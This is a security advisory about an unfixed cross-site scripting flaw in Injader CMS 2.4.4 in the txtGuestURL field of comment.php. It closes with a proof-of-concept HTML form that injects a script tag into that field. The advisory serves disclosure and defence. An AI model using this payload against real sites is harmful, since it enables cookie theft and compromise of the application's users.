Vulnerability ID: HTB22745 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_injader_cms_1.html Product: Injader CMS Vendor: http://www.injader.com/ ( http://www.injader.com/ ) Vulnerable Version: 2.4.4 Vendor Notification: 07 December 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/comment.php" script to properly sanitize user-supplied input in "txtGuestURL" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. The following PoC is available: <form action="http://injader/comment.php?action=create&area=1" method="post" name="main" > <input type="hidden" name="txtGuestName" value="test"/> <input type="hidden" name="txtGuestEmail" value="test@xxxxxxxx"/> <input type="hidden" name="chkPreview" value="on"/> <input type="hidden" name="txtContent" value="test"/> <input type="hidden" name="txtArticleID" value="1"/> <input type="hidden" name="txtGuestURL" value='http://123.com"><script>alert("XSS");</script>'/> <input type="submit" value="submit" name="submit" /> </form>